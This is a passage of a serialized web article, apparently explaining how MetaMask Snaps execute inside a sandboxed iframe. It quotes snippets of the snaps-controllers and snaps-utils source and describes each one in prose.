'ExecutionService'",{"type":26,"tag":217,"props":126345,"children":126346},{"style":7048},[126347],{"type":32,"value":10953},{"type":26,"tag":217,"props":126349,"children":126350},{"class":7028,"line":7389},[126351],{"type":26,"tag":217,"props":126352,"children":126353},{"style":7048},[126354],{"type":32,"value":126355},"  }),\n",{"type":26,"tag":217,"props":126357,"children":126358},{"class":7028,"line":7406},[126359,126364,126368,126372,126377,126381,126386,126390,126394],{"type":26,"tag":217,"props":126360,"children":126361},{"style":7054},[126362],{"type":32,"value":126363},"  setupSnapProvider:",{"type":26,"tag":217,"props":126365,"children":126366},{"style":7154},[126367],{"type":32,"value":126308},{"type":26,"tag":217,"props":126369,"children":126370},{"style":7048},[126371],{"type":32,"value":180},{"type":26,"tag":217,"props":126373,"children":126374},{"style":7054},[126375],{"type":32,"value":126376},"setupSnapProvider",{"type":26,"tag":217,"props":126378,"children":126379},{"style":7048},[126380],{"type":32,"value":180},{"type":26,"tag":217,"props":126382,"children":126383},{"style":7064},[126384],{"type":32,"value":126385},"bind",{"type":26,"tag":217,"props":126387,"children":126388},{"style":7048},[126389],{"type":32,"value":1851},{"type":26,"tag":217,"props":126391,"children":126392},{"style":7154},[126393],{"type":32,"value":17968},{"type":26,"tag":217,"props":126395,"children":126396},{"style":7048},[126397],{"type":32,"value":13841},{"type":26,"tag":217,"props":126399,"children":126400},{"class":7028,"line":7439},[126401],{"type":26,"tag":217,"props":126402,"children":126403},{"style":7048},[126404],{"type":32,"value":12331},{"type":26,"tag":217,"props":126406,"children":126407},{"class":7028,"line":7487},[126408],{"type":26,"tag":217,"props":126409,"children":126410},{"emptyLinePlaceholder":17},[126411],{"type":32,"value":7817},{"type":26,"tag":217,"props":126413,"children":126414},{"class":7028,"line":7524},[126415],{"type":26,"tag":217,"props":126416,"children":126417},{"style":7033},[126418],{"type":32,"value":126419},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":26,"tag":217,"props":126421,"children":126422},{"class":7028,"line":7553},[126423,126427,126431,126435,126439,126443],{"type":26,"tag":217,"props":126424,"children":126425},{"style":7054},[126426],{"type":32,"value":123265},{"type":26,"tag":217,"props":126428,"children":126429},{"style":7048},[126430],{"type":32,"value":180},{"type":26,"tag":217,"props":126432,"children":126433},{"style":7054},[126434],{"type":32,"value":78042},{"type":26,"tag":217,"props":126436,"children":126437},{"style":7048},[126438],{"type":32,"value":180},{"type":26,"tag":217,"props":126440,"children":126441},{"style":7054},[126442],{"type":32,"value":126291},{"type":26,"tag":217,"props":126444,"children":126445},{"style":7149},[126446],{"type":32,"value":67508},{"type":26,"tag":217,"props":126448,"children":126449},{"class":7028,"line":7570},[126450,126455],{"type":26,"tag":217,"props":126451,"children":126452},{"style":7338},[126453],{"type":32,"value":126454},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":26,"tag":217,"props":126456,"children":126457},{"style":7048},[126458],{"type":32,"value":7162},{"type":26,"tag":217,"props":126460,"children":126461},{"class":7028,"line":7621},[126462],{"type":26,"tag":217,"props":126463,"children":126464},{"style":7033},[126465],{"type":32,"value":126229},{"type":26,"tag":39,"props":126467,"children":126468},{},[126469,126471,126477,126479,126485,126487,126492],{"type":32,"value":126470},"This code is defining the ",{"type":26,"tag":83,"props":126472,"children":126474},{"className":126473},[],[126475],{"type":32,"value":126476},"snapExecutionServiceArgs",{"type":32,"value":126478}," object, which contains information required for the ",{"type":26,"tag":83,"props":126480,"children":126482},{"className":126481},[],[126483],{"type":32,"value":126484},"IframeExecutionService",{"type":32,"value":126486}," to execute snaps. The ",{"type":26,"tag":83,"props":126488,"children":126490},{"className":126489},[],[126491],{"type":32,"value":126291},{"type":32,"value":126493}," points to the location where the execution environment resides.",{"type":26,"tag":631,"props":126495,"children":126497},{"id":126496},"executing-snaps-iframeexecutionservice-in-action",[126498],{"type":32,"value":126499},"Executing Snaps: IframeExecutionService in Action",{"type":26,"tag":39,"props":126501,"children":126502},{},[126503,126505,126510,126512,126518],{"type":32,"value":126504},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":26,"tag":83,"props":126506,"children":126508},{"className":126507},[],[126509],{"type":32,"value":126484},{"type":32,"value":126511}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":26,"tag":163,"props":126513,"children":126516},{"href":126514,"rel":126515},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[167],[126517],{"type":32,"value":83},{"type":32,"value":1473},{"type":26,"tag":207,"props":126520,"children":126522},{"className":98094,"code":126521,"language":98096,"meta":8,"style":8},"// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n",[126523],{"type":26,"tag":83,"props":126524,"children":126525},{"__ignoreMap":8},[126526,126534,126563,126593,126644,126681,126688,126695,126703,126710,126717,126725,126759,126767,126820,126881,126889],{"type":26,"tag":217,"props":126527,"children":126528},{"class":7028,"line":7029},[126529],{"type":26,"tag":217,"props":126530,"children":126531},{"style":7033},[126532],{"type":32,"value":126533},"// Register message handlers for snap interactions\n",{"type":26,"tag":217,"props":126535,"children":126536},{"class":7028,"line":6770},[126537,126541,126545,126550,126554,126559],{"type":26,"tag":217,"props":126538,"children":126539},{"style":7154},[126540],{"type":32,"value":17968},{"type":26,"tag":217,"props":126542,"children":126543},{"style":7048},[126544],{"type":32,"value":180},{"type":26,"tag":217,"props":126546,"children":126547},{"style":7054},[126548],{"type":32,"value":126549},"#messenger",{"type":26,"tag":217,"props":126551,"children":126552},{"style":7048},[126553],{"type":32,"value":180},{"type":26,"tag":217,"props":126555,"children":126556},{"style":7064},[126557],{"type":32,"value":126558},"registerActionHandler",{"type":26,"tag":217,"props":126560,"children":126561},{"style":7048},[126562],{"type":32,"value":10932},{"type":26,"tag":217,"props":126564,"children":126565},{"class":7028,"line":6779},[126566,126571,126575,126580,126584,126589],{"type":26,"tag":217,"props":126567,"children":126568},{"style":7338},[126569],{"type":32,"value":126570},"  `",{"type":26,"tag":217,"props":126572,"children":126573},{"style":7154},[126574],{"type":32,"value":7641},{"type":26,"tag":217,"props":126576,"children":126577},{"style":7054},[126578],{"type":32,"value":126579},"controllerName",{"type":26,"tag":217,"props":126581,"children":126582},{"style":7154},[126583],{"type":32,"value":7659},{"type":26,"tag":217,"props":126585,"children":126586},{"style":7338},[126587],{"type":32,"value":126588},":handleRpcRequest`",{"type":26,"tag":217,"props":126590,"children":126591},{"style":7048},[126592],{"type":32,"value":10953},{"type":26,"tag":217,"props":126594,"children":126595},{"class":7028,"line":7140},[126596,126601,126605,126610,126614,126618,126622,126626,126630,126635,126639],{"type":26,"tag":217,"props":126597,"children":126598},{"style":7154},[126599],{"type":32,"value":126600},"  async",{"type":26,"tag":217,"props":126602,"children":126603},{"style":7048},[126604],{"type":32,"value":7051},{"type":26,"tag":217,"props":126606,"children":126607},{"style":7054},[126608],{"type":32,"value":126609},"snapId",{"type":26,"tag":217,"props":126611,"children":126612},{"style":7149},[126613],{"type":32,"value":1473},{"type":26,"tag":217,"props":126615,"children":126616},{"style":7119},[126617],{"type":32,"value":83815},{"type":26,"tag":217,"props":126619,"children":126620},{"style":7048},[126621],{"type":32,"value":7599},{"type":26,"tag":217,"props":126623,"children":126624},{"style":7054},[126625],{"type":32,"value":80201},{"type":26,"tag":217,"props":126627,"children":126628},{"style":7149},[126629],{"type":32,"value":1473},{"type":26,"tag":217,"props":126631,"children":126632},{"style":7119},[126633],{"type":32,"value":126634}," SnapRpcHookArgs",{"type":26,"tag":217,"props":126636,"children":126637},{"style":7048},[126638],{"type":32,"value":8380},{"type":26,"tag":217,"props":126640,"children":126641},{"style":7154},[126642],{"type":32,"value":126643},"=>\n",{"type":26,"tag":217,"props":126645,"children":126646},{"class":7028,"line":7165},[126647,126652,126656,126661,126665,126669,126673,126677],{"type":26,"tag":217,"props":126648,"children":126649},{"style":7154},[126650],{"type":32,"value":126651},"    this",{"type":26,"tag":217,"props":126653,"children":126654},{"style":7048},[126655],{"type":32,"value":180},{"type":26,"tag":217,"props":126657,"children":126658},{"style":7064},[126659],{"type":32,"value":126660},"handleRpcRequest",{"type":26,"tag":217,"props":126662,"children":126663},{"style":7048},[126664],{"type":32,"value":1851},{"type":26,"tag":217,"props":126666,"children":126667},{"style":7054},[126668],{"type":32,"value":126609},{"type":26,"tag":217,"props":126670,"children":126671},{"style":7048},[126672],{"type":32,"value":7599},{"type":26,"tag":217,"props":126674,"children":126675},{"style":7054},[126676],{"type":32,"value":80201},{"type":26,"tag":217,"props":126678,"children":126679},{"style":7048},[126680],{"type":32,"value":13841},{"type":26,"tag":217,"props":126682,"children":126683},{"class":7028,"line":7178},[126684],{"type":26,"tag":217,"props":126685,"children":126686},{"style":7048},[126687],{"type":32,"value":7669},{"type":26,"tag":217,"props":126689,"children":126690},{"class":7028,"line":7389},[126691],{"type":26,"tag":217,"props":126692,"children":126693},{"emptyLinePlaceholder":17},[126694],{"type":32,"value":7817},{"type":26,"tag":217,"props":126696,"children":126697},{"class":7028,"line":7406},[126698],{"type":26,"tag":217,"props":126699,"children":126700},{"style":7033},[126701],{"type":32,"value":126702},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":26,"tag":217,"props":126704,"children":126705},{"class":7028,"line":7439},[126706],{"type":26,"tag":217,"props":126707,"children":126708},{"style":7033},[126709],{"type":32,"value":126229},{"type":26,"tag":217,"props":126711,"children":126712},{"class":7028,"line":7487},[126713],{"type":26,"tag":217,"props":126714,"children":126715},{"emptyLinePlaceholder":17},[126716],{"type":32,"value":7817},{"type":26,"tag":217,"props":126718,"children":126719},{"class":7028,"line":7524},[126720],{"type":26,"tag":217,"props":126721,"children":126722},{"style":7033},[126723],{"type":32,"value":126724},"// Execute a snap\n",{"type":26,"tag":217,"props":126726,"children":126727},{"class":7028,"line":7553},[126728,126732,126737,126741,126746,126750,126755],{"type":26,"tag":217,"props":126729,"children":126730},{"style":7054},[126731],{"type":32,"value":14091},{"type":26,"tag":217,"props":126733,"children":126734},{"style":7064},[126735],{"type":32,"value":126736}," executeSnap",{"type":26,"tag":217,"props":126738,"children":126739},{"style":7048},[126740],{"type":32,"value":1851},{"type":26,"tag":217,"props":126742,"children":126743},{"style":7054},[126744],{"type":32,"value":126745},"snapData",{"type":26,"tag":217,"props":126747,"children":126748},{"style":7048},[126749],{"type":32,"value":14785},{"type":26,"tag":217,"props":126751,"children":126752},{"style":7054},[126753],{"type":32,"value":126754},"SnapExecutionData",{"type":26,"tag":217,"props":126756,"children":126757},{"style":7048},[126758],{"type":32,"value":7618},{"type":26,"tag":217,"props":126760,"children":126761},{"class":7028,"line":7570},[126762],{"type":26,"tag":217,"props":126763,"children":126764},{"style":7033},[126765],{"type":32,"value":126766},"  // Initialize job, streams, and environment\n",{"type":26,"tag":217,"props":126768,"children":126769},{"class":7028,"line":7621},[126770,126774,126778,126783,126787,126791,126795,126799,126803,126808,126812,126816],{"type":26,"tag":217,"props":126771,"children":126772},{"style":7154},[126773],{"type":32,"value":26650},{"type":26,"tag":217,"props":126775,"children":126776},{"style":7048},[126777],{"type":32,"value":65337},{"type":26,"tag":217,"props":126779,"children":126780},{"style":7054},[126781],{"type":32,"value":126782},"jobId",{"type":26,"tag":217,"props":126784,"children":126785},{"style":7048},[126786],{"type":32,"value":100278},{"type":26,"tag":217,"props":126788,"children":126789},{"style":7149},[126790],{"type":32,"value":267},{"type":26,"tag":217,"props":126792,"children":126793},{"style":7042},[126794],{"type":32,"value":13803},{"type":26,"tag":217,"props":126796,"children":126797},{"style":7154},[126798],{"type":32,"value":126308},{"type":26,"tag":217,"props":126800,"children":126801},{"style":7048},[126802],{"type":32,"value":180},{"type":26,"tag":217,"props":126804,"children":126805},{"style":7064},[126806],{"type":32,"value":126807},"initJob",{"type":26,"tag":217,"props":126809,"children":126810},{"style":7048},[126811],{"type":32,"value":1851},{"type":26,"tag":217,"props":126813,"children":126814},{"style":7054},[126815],{"type":32,"value":126745},{"type":26,"tag":217,"props":126817,"children":126818},{"style":7048},[126819],{"type":32,"value":7669},{"type":26,"tag":217,"props":126821,"children":126822},{"class":7028,"line":7672},[126823,126827,126831,126836,126840,126844,126848,126852,126856,126860,126864,126869,126873,126877],{"type":26,"tag":217,"props":126824,"children":126825},{"style":7154},[126826],{"type":32,"value":26650},{"type":26,"tag":217,"props":126828,"children":126829},{"style":7048},[126830],{"type":32,"value":65337},{"type":26,"tag":217,"props":126832,"children":126833},{"style":7054},[126834],{"type":32,"value":126835},"worker",{"type":26,"tag":217,"props":126837,"children":126838},{"style":7048},[126839],{"type":32,"value":7599},{"type":26,"tag":217,"props":126841,"children":126842},{"style":7054},[126843],{"type":32,"value":7978},{"type":26,"tag":217,"props":126845,"children":126846},{"style":7048},[126847],{"type":32,"value":100278},{"type":26,"tag":217,"props":126849,"children":126850},{"style":7149},[126851],{"type":32,"value":267},{"type":26,"tag":217,"props":126853,"children":126854},{"style":7042},[126855],{"type":32,"value":13803},{"type":26,"tag":217,"props":126857,"children":126858},{"style":7154},[126859],{"type":32,"value":126308},{"type":26,"tag":217,"props":126861,"children":126862},{"style":7048},[126863],{"type":32,"value":180},{"type":26,"tag":217,"props":126865,"children":126866},{"style":7064},[126867],{"type":32,"value":126868},"initEnvStream",{"type":26,"tag":217,"props":126870,"children":126871},{"style":7048},[126872],{"type":32,"value":1851},{"type":26,"tag":217,"props":126874,"children":126875},{"style":7054},[126876],{"type":32,"value":126782},{"type":26,"tag":217,"props":126878,"children":126879},{"style":7048},[126880],{"type":32,"value":7669},{"type":26,"tag":217,"props":126882,"children":126883},{"class":7028,"line":7681},[126884],{"type":26,"tag":217,"props":126885,"children":126886},{"style":7033},[126887],{"type":32,"value":126888},"  // ...\n",{"type":26,"tag":217,"props":126890,"children":126891},{"class":7028,"line":7754},[126892],{"type":26,"tag":217,"props":126893,"children":126894},{"style":7048},[126895],{"type":32,"value":7184},{"type":26,"tag":39,"props":126897,"children":126898},{},[126899,126900,126905,126907,126913],{"type":32,"value":475},{"type":26,"tag":83,"props":126901,"children":126903},{"className":126902},[],[126904],{"type":32,"value":126484},{"type":32,"value":126906}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":26,"tag":83,"props":126908,"children":126910},{"className":126909},[],[126911],{"type":32,"value":126912},"${controllerName}:executeSnap",{"type":32,"value":126914}," handler triggers the snap execution process.",{"type":26,"tag":631,"props":126916,"children":126918},{"id":126917},"step-by-step-execution-from-initialization-to-iframe-creation",[126919,126921],{"type":32,"value":126920},"Step-by-Step Execution: From Initialization to iFrame ",{"type":26,"tag":163,"props":126922,"children":126925},{"href":126923,"rel":126924},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[167],[126926],{"type":32,"value":126927},"creation",{"type":26,"tag":207,"props":126929,"children":126931},{"className":98094,"code":126930,"language":98096,"meta":8,"style":8},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[126932],{"type":26,"tag":83,"props":126933,"children":126934},{"__ignoreMap":8},[126935,126983,127004,127025,127033,127097,127104,127132,127149,127166,127183,127200,127207,127214,127238],{"type":26,"tag":217,"props":126936,"children":126937},{"class":7028,"line":7029},[126938,126943,126947,126952,126956,126960,126964,126968,126973,126978],{"type":26,"tag":217,"props":126939,"children":126940},{"style":7054},[126941],{"type":32,"value":126942},"protected",{"type":26,"tag":217,"props":126944,"children":126945},{"style":7054},[126946],{"type":32,"value":67161},{"type":26,"tag":217,"props":126948,"children":126949},{"style":7064},[126950],{"type":32,"value":126951}," initEnvStream",{"type":26,"tag":217,"props":126953,"children":126954},{"style":7048},[126955],{"type":32,"value":1851},{"type":26,"tag":217,"props":126957,"children":126958},{"style":7054},[126959],{"type":32,"value":126782},{"type":26,"tag":217,"props":126961,"children":126962},{"style":7048},[126963],{"type":32,"value":14785},{"type":26,"tag":217,"props":126965,"children":126966},{"style":7054},[126967],{"type":32,"value":78188},{"type":26,"tag":217,"props":126969,"children":126970},{"style":7048},[126971],{"type":32,"value":126972},"): ",{"type":26,"tag":217,"props":126974,"children":126975},{"style":7119},[126976],{"type":32,"value":126977},"Promise",{"type":26,"tag":217,"props":126979,"children":126980},{"style":7048},[126981],{"type":32,"value":126982},"\u003C{\n",{"type":26,"tag":217,"props":126984,"children":126985},{"class":7028,"line":6770},[126986,126991,126995,127000],{"type":26,"tag":217,"props":126987,"children":126988},{"style":7054},[126989],{"type":32,"value":126990},"    worker",{"type":26,"tag":217,"props":126992,"children":126993},{"style":7149},[126994],{"type":32,"value":1473},{"type":26,"tag":217,"props":126996,"children":126997},{"style":7119},[126998],{"type":32,"value":126999}," Window",{"type":26,"tag":217,"props":127001,"children":127002},{"style":7048},[127003],{"type":32,"value":7162},{"type":26,"tag":217,"props":127005,"children":127006},{"class":7028,"line":6779},[127007,127012,127016,127021],{"type":26,"tag":217,"props":127008,"children":127009},{"style":7054},[127010],{"type":32,"value":127011},"    stream",{"type":26,"tag":217,"props":127013,"children":127014},{"style":7149},[127015],{"type":32,"value":1473},{"type":26,"tag":217,"props":127017,"children":127018},{"style":7119},[127019],{"type":32,"value":127020}," BasePostMessageStream",{"type":26,"tag":217,"props":127022,"children":127023},{"style":7048},[127024],{"type":32,"value":7162},{"type":26,"tag":217,"props":127026,"children":127027},{"class":7028,"line":7140},[127028],{"type":26,"tag":217,"props":127029,"children":127030},{"style":7048},[127031],{"type":32,"value":127032},"  }> {\n",{"type":26,"tag":217,"props":127034,"children":127035},{"class":7028,"line":7165},[127036,127041,127046,127050,127054,127059,127063,127067,127071,127076,127080,127085,127089,127093],{"type":26,"tag":217,"props":127037,"children":127038},{"style":7048},[127039],{"type":32,"value":127040},"    const ",{"type":26,"tag":217,"props":127042,"children":127043},{"style":7054},[127044],{"type":32,"value":127045},"iframeWindow",{"type":26,"tag":217,"props":127047,"children":127048},{"style":7149},[127049],{"type":32,"value":8993},{"type":26,"tag":217,"props":127051,"children":127052},{"style":7042},[127053],{"type":32,"value":13803},{"type":26,"tag":217,"props":127055,"children":127056},{"style":7064},[127057],{"type":32,"value":127058}," createWindow",{"type":26,"tag":217,"props":127060,"children":127061},{"style":7048},[127062],{"type":32,"value":1851},{"type":26,"tag":217,"props":127064,"children":127065},{"style":7154},[127066],{"type":32,"value":17968},{"type":26,"tag":217,"props":127068,"children":127069},{"style":7048},[127070],{"type":32,"value":180},{"type":26,"tag":217,"props":127072,"children":127073},{"style":7054},[127074],{"type":32,"value":127075},"iframeUrl",{"type":26,"tag":217,"props":127077,"children":127078},{"style":7048},[127079],{"type":32,"value":180},{"type":26,"tag":217,"props":127081,"children":127082},{"style":7064},[127083],{"type":32,"value":127084},"toString",{"type":26,"tag":217,"props":127086,"children":127087},{"style":7048},[127088],{"type":32,"value":59809},{"type":26,"tag":217,"props":127090,"children":127091},{"style":7054},[127092],{"type":32,"value":126782},{"type":26,"tag":217,"props":127094,"children":127095},{"style":7048},[127096],{"type":32,"value":7669},{"type":26,"tag":217,"props":127098,"children":127099},{"class":7028,"line":7178},[127100],{"type":26,"tag":217,"props":127101,"children":127102},{"emptyLinePlaceholder":17},[127103],{"type":32,"value":7817},{"type":26,"tag":217,"props":127105,"children":127106},{"class":7028,"line":7389},[127107,127111,127115,127119,127123,127128],{"type":26,"tag":217,"props":127108,"children":127109},{"style":7048},[127110],{"type":32,"value":127040},{"type":26,"tag":217,"props":127112,"children":127113},{"style":7054},[127114],{"type":32,"value":7978},{"type":26,"tag":217,"props":127116,"children":127117},{"style":7149},[127118],{"type":32,"value":8993},{"type":26,"tag":217,"props":127120,"children":127121},{"style":7154},[127122],{"type":32,"value":25931},{"type":26,"tag":217,"props":127124,"children":127125},{"style":7064},[127126],{"type":32,"value":127127}," WindowPostMessageStream",{"type":26,"tag":217,"props":127129,"children":127130},{"style":7048},[127131],{"type":32,"value":13500},{"type":26,"tag":217,"props":127133,"children":127134},{"class":7028,"line":7406},[127135,127140,127145],{"type":26,"tag":217,"props":127136,"children":127137},{"style":7054},[127138],{"type":32,"value":127139},"      name:",{"type":26,"tag":217,"props":127141,"children":127142},{"style":7338},[127143],{"type":32,"value":127144}," 'parent'",{"type":26,"tag":217,"props":127146,"children":127147},{"style":7048},[127148],{"type":32,"value":10953},{"type":26,"tag":217,"props":127150,"children":127151},{"class":7028,"line":7439},[127152,127157,127162],{"type":26,"tag":217,"props":127153,"children":127154},{"style":7054},[127155],{"type":32,"value":127156},"      target:",{"type":26,"tag":217,"props":127158,"children":127159},{"style":7338},[127160],{"type":32,"value":127161}," 'child'",{"type":26,"tag":217,"props":127163,"children":127164},{"style":7048},[127165],{"type":32,"value":10953},{"type":26,"tag":217,"props":127167,"children":127168},{"class":7028,"line":7487},[127169,127174,127179],{"type":26,"tag":217,"props":127170,"children":127171},{"style":7054},[127172],{"type":32,"value":127173},"      targetWindow:",{"type":26,"tag":217,"props":127175,"children":127176},{"style":7054},[127177],{"type":32,"value":127178}," iframeWindow",{"type":26,"tag":217,"props":127180,"children":127181},{"style":7048},[127182],{"type":32,"value":10953},{"type":26,"tag":217,"props":127184,"children":127185},{"class":7028,"line":7524},[127186,127191,127196],{"type":26,"tag":217,"props":127187,"children":127188},{"style":7054},[127189],{"type":32,"value":127190},"      targetOrigin:",{"type":26,"tag":217,"props":127192,"children":127193},{"style":7338},[127194],{"type":32,"value":127195}," '*'",{"type":26,"tag":217,"props":127197,"children":127198},{"style":7048},[127199],{"type":32,"value":10953},{"type":26,"tag":217,"props":127201,"children":127202},{"class":7028,"line":7553},[127203],{"type":26,"tag":217,"props":127204,"children":127205},{"style":7048},[127206],{"type":32,"value":66904},{"type":26,"tag":217,"props":127208,"children":127209},{"class":7028,"line":7570},[127210],{"type":26,"tag":217,"props":127211,"children":127212},{"emptyLinePlaceholder":17},[127213],{"type":32,"value":7817},{"type":26,"tag":217,"props":127215,"children":127216},{"class":7028,"line":7621},[127217,127222,127226,127230,127234],{"type":26,"tag":217,"props":127218,"children":127219},{"style":7048},[127220],{"type":32,"value":127221},"    return { worker: ",{"type":26,"tag":217,"props":127223,"children":127224},{"style":7054},[127225],{"type":32,"value":127045},{"type":26,"tag":217,"props":127227,"children":127228},{"style":7048},[127229],{"type":32,"value":7599},{"type":26,"tag":217,"props":127231,"children":127232},{"style":7054},[127233],{"type":32,"value":7978},{"type":26,"tag":217,"props":127235,"children":127236},{"style":7048},[127237],{"type":32,"value":96070},{"type":26,"tag":217,"props":127239,"children":127240},{"class":7028,"line":7672},[127241],{"type":26,"tag":217,"props":127242,"children":127243},{"style":7048},[127244],{"type":32,"value":16086},{"type":26,"tag":39,"props":127246,"children":127247},{},[127248,127250,127256,127258,127265],{"type":32,"value":127249},"Here the iframe is created via ",{"type":26,"tag":83,"props":127251,"children":127253},{"className":127252},[],[127254],{"type":32,"value":127255},"createWindow",{"type":32,"value":127257},", which is defined in snaps-utils ",{"type":26,"tag":163,"props":127259,"children":127262},{"href":127260,"rel":127261},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[167],[127263],{"type":32,"value":127264},"package",{"type":32,"value":1473},{"type":26,"tag":207,"props":127267,"children":127269},{"className":98094,"code":127268,"language":98096,"meta":8,"style":8},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[127270],{"type":26,"tag":83,"props":127271,"children":127272},{"__ignoreMap":8},[127273,127314,127352,127389,127396,127416,127454,127461,127498],{"type":26,"tag":217,"props":127274,"children":127275},{"class":7028,"line":7029},[127276,127280,127285,127289,127294,127298,127302,127306,127310],{"type":26,"tag":217,"props":127277,"children":127278},{"style":7154},[127279],{"type":32,"value":74748},{"type":26,"tag":217,"props":127281,"children":127282},{"style":7054},[127283],{"type":32,"value":127284}," iframe",{"type":26,"tag":217,"props":127286,"children":127287},{"style":7149},[127288],{"type":32,"value":8993},{"type":26,"tag":217,"props":127290,"children":127291},{"style":7054},[127292],{"type":32,"value":127293}," document",{"type":26,"tag":217,"props":127295,"children":127296},{"style":7048},[127297],{"type":32,"value":180},{"type":26,"tag":217,"props":127299,"children":127300},{"style":7064},[127301],{"type":32,"value":7938},{"type":26,"tag":217,"props":127303,"children":127304},{"style":7048},[127305],{"type":32,"value":1851},{"type":26,"tag":217,"props":127307,"children":127308},{"style":7338},[127309],{"type":32,"value":119261},{"type":26,"tag":217,"props":127311,"children":127312},{"style":7048},[127313],{"type":32,"value":7669},{"type":26,"tag":217,"props":127315,"children":127316},{"class":7028,"line":6770},[127317,127322,127326,127331,127335,127340,127344,127348],{"type":26,"tag":217,"props":127318,"children":127319},{"style":7054},[127320],{"type":32,"value":127321},"    iframe",{"type":26,"tag":217,"props":127323,"children":127324},{"style":7048},[127325],{"type":32,"value":180},{"type":26,"tag":217,"props":127327,"children":127328},{"style":7064},[127329],{"type":32,"value":127330},"setAttribute",{"type":26,"tag":217,"props":127332,"children":127333},{"style":7048},[127334],{"type":32,"value":1851},{"type":26,"tag":217,"props":127336,"children":127337},{"style":7338},[127338],{"type":32,"value":127339},"'id'",{"type":26,"tag":217,"props":127341,"children":127342},{"style":7048},[127343],{"type":32,"value":7599},{"type":26,"tag":217,"props":127345,"children":127346},{"style":7054},[127347],{"type":32,"value":95138},{"type":26,"tag":217,"props":127349,"children":127350},{"style":7048},[127351],{"type":32,"value":7669},{"type":26,"tag":217,"props":127353,"children":127354},{"class":7028,"line":6779},[127355,127359,127363,127367,127371,127376,127380,127385],{"type":26,"tag":217,"props":127356,"children":127357},{"style":7054},[127358],{"type":32,"value":127321},{"type":26,"tag":217,"props":127360,"children":127361},{"style":7048},[127362],{"type":32,"value":180},{"type":26,"tag":217,"props":127364,"children":127365},{"style":7064},[127366],{"type":32,"value":127330},{"type":26,"tag":217,"props":127368,"children":127369},{"style":7048},[127370],{"type":32,"value":1851},{"type":26,"tag":217,"props":127372,"children":127373},{"style":7338},[127374],{"type":32,"value":127375},"'data-testid'",{"type":26,"tag":217,"props":127377,"children":127378},{"style":7048},[127379],{"type":32,"value":7599},{"type":26,"tag":217,"props":127381,"children":127382},{"style":7338},[127383],{"type":32,"value":127384},"'snaps-iframe'",{"type":26,"tag":217,"props":127386,"children":127387},{"style":7048},[127388],{"type":32,"value":7669},{"type":26,"tag":217,"props":127390,"children":127391},{"class":7028,"line":7140},[127392],{"type":26,"tag":217,"props":127393,"children":127394},{"emptyLinePlaceholder":17},[127395],{"type":32,"value":7817},{"type":26,"tag":217,"props":127397,"children":127398},{"class":7028,"line":7165},[127399,127403,127407,127412],{"type":26,"tag":217,"props":127400,"children":127401},{"style":7042},[127402],{"type":32,"value":9710},{"type":26,"tag":217,"props":127404,"children":127405},{"style":7048},[127406],{"type":32,"value":7051},{"type":26,"tag":217,"props":127408,"children":127409},{"style":7054},[127410],{"type":32,"value":127411},"sandbox",{"type":26,"tag":217,"props":127413,"children":127414},{"style":7048},[127415],{"type":32,"value":7618},{"type":26,"tag":217,"props":127417,"children":127418},{"class":7028,"line":7178},[127419,127424,127428,127432,127436,127441,127445,127450],{"type":26,"tag":217,"props":127420,"children":127421},{"style":7054},[127422],{"type":32,"value":127423},"      iframe",{"type":26,"tag":217,"props":127425,"children":127426},{"style":7048},[127427],{"type":32,"value":180},{"type":26,"tag":217,"props":127429,"children":127430},{"style":7064},[127431],{"type":32,"value":127330},{"type":26,"tag":217,"props":127433,"children":127434},{"style":7048},[127435],{"type":32,"value":1851},{"type":26,"tag":217,"props":127437,"children":127438},{"style":7338},[127439],{"type":32,"value":127440},"'sandbox'",{"type":26,"tag":217,"props":127442,"children":127443},{"style":7048},[127444],{"type":32,"value":7599},{"type":26,"tag":217,"props":127446,"children":127447},{"style":7338},[127448],{"type":32,"value":127449},"'allow-scripts'",{"type":26,"tag":217,"props":127451,"children":127452},{"style":7048},[127453],{"type":32,"value":7669},{"type":26,"tag":217,"props":127455,"children":127456},{"class":7028,"line":7389},[127457],{"type":26,"tag":217,"props":127458,"children":127459},{"style":7048},[127460],{"type":32,"value":9754},{"type":26,"tag":217,"props":127462,"children":127463},{"class":7028,"line":7406},[127464,127468,127472,127476,127480,127485,127489,127494],{"type":26,"tag":217,"props":127465,"children":127466},{"style":7054},[127467],{"type":32,"value":127321},{"type":26,"tag":217,"props":127469,"children":127470},{"style":7048},[127471],{"type":32,"value":180},{"type":26,"tag":217,"props":127473,"children":127474},{"style":7064},[127475],{"type":32,"value":127330},{"type":26,"tag":217,"props":127477,"children":127478},{"style":7048},[127479],{"type":32,"value":1851},{"type":26,"tag":217,"props":127481,"children":127482},{"style":7338},[127483],{"type":32,"value":127484},"'src'",{"type":26,"tag":217,"props":127486,"children":127487},{"style":7048},[127488],{"type":32,"value":7599},{"type":26,"tag":217,"props":12749